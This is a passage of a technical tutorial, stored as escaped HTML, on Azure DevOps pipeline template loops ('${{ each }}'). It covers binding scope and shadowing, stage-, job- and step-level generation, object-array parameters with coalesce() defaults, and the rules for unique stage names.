order\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch3 id=\"variable-binding-names-and-scope\"\u003eVariable Binding Names and Scope\u003c/h3\u003e\n\u003cp\u003eThe binding name — \u003ccode\u003eenv\u003c/code\u003e, \u003ccode\u003eitem\u003c/code\u003e, \u003ccode\u003eregion\u003c/code\u003e, or anything else — is arbitrary. Choose names that match the data semantics. A loop over environments requires \u003ccode\u003eenv\u003c/code\u003e, not \u003ccode\u003eitem\u003c/code\u003e or \u003ccode\u003ex\u003c/code\u003e. Readable binding names eliminate a full class of scope bugs when nesting.\u003c/p\u003e\n\u003cp\u003eThe binding scopes to its \u003ccode\u003e${{ each }}\u003c/code\u003e block and is not accessible outside it. Inside a nested \u003ccode\u003e${{ each }}\u003c/code\u003e, the outer binding stays in scope — which is exactly how you build compound stage names across two loop levels:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-yaml\" data-lang=\"yaml\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# Outer binding (env) remains accessible inside the inner loop\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003estages\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e- \u003cspan style=\"color:#ae81ff\"\u003e${{ each env in parameters.environments }}:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#ae81ff\"\u003e${{ each region in env.regions }}:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    - \u003cspan style=\"color:#f92672\"\u003estage\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e${{ env.name }}_${{ region.code }}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003edisplayName\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;${{ env.name }} — ${{ region.code }}\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003ejobs\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      - \u003cspan style=\"color:#f92672\"\u003edeployment\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eDeploy\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#f92672\"\u003eenvironment\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e${{ env.name }}-${{ region.code }}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#f92672\"\u003epool\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          \u003cspan style=\"color:#f92672\"\u003evmImage\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eubuntu-latest\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#f92672\"\u003estrategy\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          \u003cspan style=\"color:#f92672\"\u003erunOnce\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#f92672\"\u003edeploy\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e              \u003cspan style=\"color:#f92672\"\u003esteps\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e              - \u003cspan style=\"color:#f92672\"\u003escript\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eecho \u0026#34;Deploying ${{ env.name }} to ${{ region.code }}\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eNever reuse a binding name across nested levels. If the outer loop uses \u003ccode\u003eenv\u003c/code\u003e and the inner loop also uses \u003ccode\u003eenv\u003c/code\u003e, the inner binding shadows the outer, and \u003ccode\u003eenv.name\u003c/code\u003e inside the inner loop resolves to the inner item\u0026rsquo;s \u003ccode\u003ename\u003c/code\u003e property, not the outer environment\u0026rsquo;s.\u003c/p\u003e\n\u003ch3 id=\"what--each--can-generate\"\u003eWhat \u003ccode\u003e${{ each }}\u003c/code\u003e Can Generate\u003c/h3\u003e\n\u003cp\u003e\u003ccode\u003e${{ each }}\u003c/code\u003e works at three levels of pipeline structure:\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eStage level\u003c/strong\u003e — each iteration produces one complete \u003ccode\u003estage:\u003c/code\u003e block, including all its jobs and steps. This is the most common pattern for multi-environment deployment pipelines.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eJob level\u003c/strong\u003e — each iteration produces one complete \u003ccode\u003ejob:\u003c/code\u003e or \u003ccode\u003edeployment:\u003c/code\u003e block inside an existing stage. Use this when the stage structure is fixed but the jobs vary.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eStep level\u003c/strong\u003e — each iteration produces one \u003ccode\u003e- script:\u003c/code\u003e, \u003ccode\u003e- task:\u003c/code\u003e, or other step entry inside a job. Use this for data-driven validation checklists or generated test commands.\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003e${{ each }}\u003c/code\u003e cannot generate individual YAML properties inside a single task block. If you need to conditionally set a task input (e.g., \u003ccode\u003eazureSubscription:\u003c/code\u003e), use an inline \u003ccode\u003e${{ if }}\u003c/code\u003e on the property value, not \u003ccode\u003e${{ each }}\u003c/code\u003e.\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-yaml\" data-lang=\"yaml\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# Stage-level: one complete stage per environment\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003estages\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e- \u003cspan style=\"color:#ae81ff\"\u003e${{ each env in parameters.environments }}:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003estage\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eDeploy_${{ env.name }}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003ejobs\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    - \u003cspan style=\"color:#f92672\"\u003ejob\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eDeploy\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003epool\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#f92672\"\u003evmImage\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eubuntu-latest\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003esteps\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      - \u003cspan style=\"color:#f92672\"\u003escript\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eecho \u0026#34;Stage-level generation for ${{ env.name }}\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-yaml\" data-lang=\"yaml\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# Job-level: one deployment job per environment within a fixed stage\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003estages\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e- \u003cspan style=\"color:#f92672\"\u003estage\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eDeploy\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003ejobs\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#ae81ff\"\u003e${{ each env in parameters.environments }}:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    - \u003cspan style=\"color:#f92672\"\u003edeployment\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eDeploy_${{ env.name }}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003eenvironment\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e${{ env.name }}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003epool\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#f92672\"\u003evmImage\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eubuntu-latest\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003estrategy\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#f92672\"\u003erunOnce\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          \u003cspan style=\"color:#f92672\"\u003edeploy\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#f92672\"\u003esteps\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            - \u003cspan style=\"color:#f92672\"\u003escript\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eecho \u0026#34;Job-level generation for ${{ env.name }}\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-yaml\" data-lang=\"yaml\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# Step-level: one validation step per entry in the steps array\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003estages\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e- \u003cspan style=\"color:#f92672\"\u003estage\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eValidate\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003ejobs\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003ejob\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eValidation\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003epool\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003evmImage\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eubuntu-latest\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003esteps\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    - \u003cspan style=\"color:#ae81ff\"\u003e${{ each step in parameters.validationSteps }}:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      - \u003cspan style=\"color:#f92672\"\u003escript\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e${{ step.command }}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#f92672\"\u003edisplayName\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e${{ step.name }}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003chr\u003e\n\u003ch2 id=\"iterating-arrays-of-objects\"\u003eIterating Arrays of Objects\u003c/h2\u003e\n\u003ch3 id=\"single-level-object-arrays\"\u003eSingle-Level Object Arrays\u003c/h3\u003e\n\u003cp\u003eA parameter declared as \u003ccode\u003etype: object\u003c/code\u003e with a \u003ccode\u003edefault:\u003c/code\u003e list of mappings gives each \u003ccode\u003e${{ each }}\u003c/code\u003e iteration access to all properties of the mapping via \u003ccode\u003e${{ item.propertyName }}\u003c/code\u003e. All properties resolve at compile time.\u003c/p\u003e\n\u003cp\u003eProperties present on every item work without guards. Properties that some items omit resolve to empty string. Use \u003ccode\u003e${{ coalesce(item.optionalProp, 'default') }}\u003c/code\u003e to provide a fallback.\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-yaml\" data-lang=\"yaml\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# templates/deploy-stage.yml\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003eparameters\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e- \u003cspan style=\"color:#f92672\"\u003ename\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eenvironments\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003etype\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eobject\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003edefault\u003c/span\u003e: []\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003estages\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e- \u003cspan style=\"color:#ae81ff\"\u003e${{ each env in parameters.environments }}:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003estage\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eDeploy_${{ env.name }}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003edisplayName\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;Deploy to ${{ env.name }}\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003ejobs\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    - \u003cspan style=\"color:#f92672\"\u003edeployment\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eDeploy\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003eenvironment\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e${{ env.name }}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003epool\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#f92672\"\u003evmImage\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eubuntu-latest\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003estrategy\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#f92672\"\u003erunOnce\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          \u003cspan style=\"color:#f92672\"\u003edeploy\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#f92672\"\u003esteps\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            - \u003cspan style=\"color:#f92672\"\u003escript\u003c/span\u003e: |\u003cspan style=\"color:#e6db74\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e                echo \u0026#34;Region: ${{ env.region }}\u0026#34;\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e                echo \u0026#34;Service connection: ${{ env.serviceConnection }}\u0026#34;\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e                # coalesce() provides \u0026#39;false\u0026#39; when blueGreenEnabled is absent\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e                echo \u0026#34;Blue-green: ${{ coalesce(env.blueGreenEnabled, false) }}\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e              \u003cspan style=\"color:#f92672\"\u003edisplayName\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;Deploy ${{ env.name }} to ${{ env.region }}\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eThe calling pipeline passes the \u003ccode\u003eenvironments\u003c/code\u003e array with all required properties per item:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-yaml\" data-lang=\"yaml\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# azure-pipelines.yml\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003estages\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e- \u003cspan style=\"color:#f92672\"\u003etemplate\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003etemplates/deploy-stage.yml\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003eparameters\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003eenvironments\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    - \u003cspan style=\"color:#f92672\"\u003ename\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003edev\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003eregion\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eeastus\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003eserviceConnection\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003esc-dev-eastus\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003eblueGreenEnabled\u003c/span\u003e: \u003cspan style=\"color:#66d9ef\"\u003efalse\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    - \u003cspan style=\"color:#f92672\"\u003ename\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003estaging\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003eregion\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eeastus\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003eserviceConnection\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003esc-staging-eastus\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003eblueGreenEnabled\u003c/span\u003e: \u003cspan style=\"color:#66d9ef\"\u003efalse\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    - \u003cspan style=\"color:#f92672\"\u003ename\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eprod\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003eregion\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003ewesteu\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003eserviceConnection\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003esc-prod-westeu\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003eblueGreenEnabled\u003c/span\u003e: \u003cspan style=\"color:#66d9ef\"\u003etrue\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eThis generates three deployment stages (\u003ccode\u003eDeploy_dev\u003c/code\u003e, \u003ccode\u003eDeploy_staging\u003c/code\u003e, \u003ccode\u003eDeploy_prod\u003c/code\u003e) with distinct service connections and regions. The \u003ccode\u003eblueGreenEnabled\u003c/code\u003e property is optional per item; \u003ccode\u003ecoalesce()\u003c/code\u003e ensures a sensible default when omitted.\u003c/p\u003e\n\u003ch3 id=\"generating-unique-identifiers-from-object-properties\"\u003eGenerating Unique Identifiers from Object Properties\u003c/h3\u003e\n\u003cp\u003eStage and job names must be unique within their scope. Two items with the same rendered name produce a parse error before the pipeline runs:\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003e/azure-pipelines.yml (Line: 12, Col: 5): Duplicate identifier \u0026#39;Deploy_eastus\u0026#39;.\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003eThe root cause is typically building the stage name from a single property that is not unique across the array. If two environments share the same region code and the stage name is \u003ccode\u003eDeploy_${{ env.region }}\u003c/code\u003e, you get a collision. Compose the name from two or more properties:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-yaml\" data-lang=\"yaml\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# Single property — fails when two items share the same region\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e- \u003cspan style=\"color:#f92672\"\u003estage\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eDeploy_${{ env.region }} \u003c/span\u003e \u003cspan style=\"color:#75715e\"\u003e# Deploy_eastus appears twice: parse error\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# Compound name — tier + region combination is unique per item\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e- \u003cspan style=\"color:#f92672\"\u003estage\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e${{ env.tier }}_${{ env.region }} \u003c/span\u003e \u003cspan style=\"color:#75715e\"\u003e# dev_eastus, staging_eastus, prod_westeu\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eAzure DevOps stage and job names allow only alphanumeric characters and underscores — the character set \u003ccode\u003e[A-Za-z0-9_]\u003c/code\u003e. Additionally, Stage IDs cannot start with a number. Hyphens, dots, and spaces in property values cause a parse error.\u003c/p\u003e\n\u003cp\u003eUse the compile-time \u003ccode\u003ereplace()\u003c/code\u003e function to sanitize identifier strings directly in the template. This allows callers to pass standard Azure resource names (which conventionally use hyphens) without breaking the pipeline parser:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-yaml\" 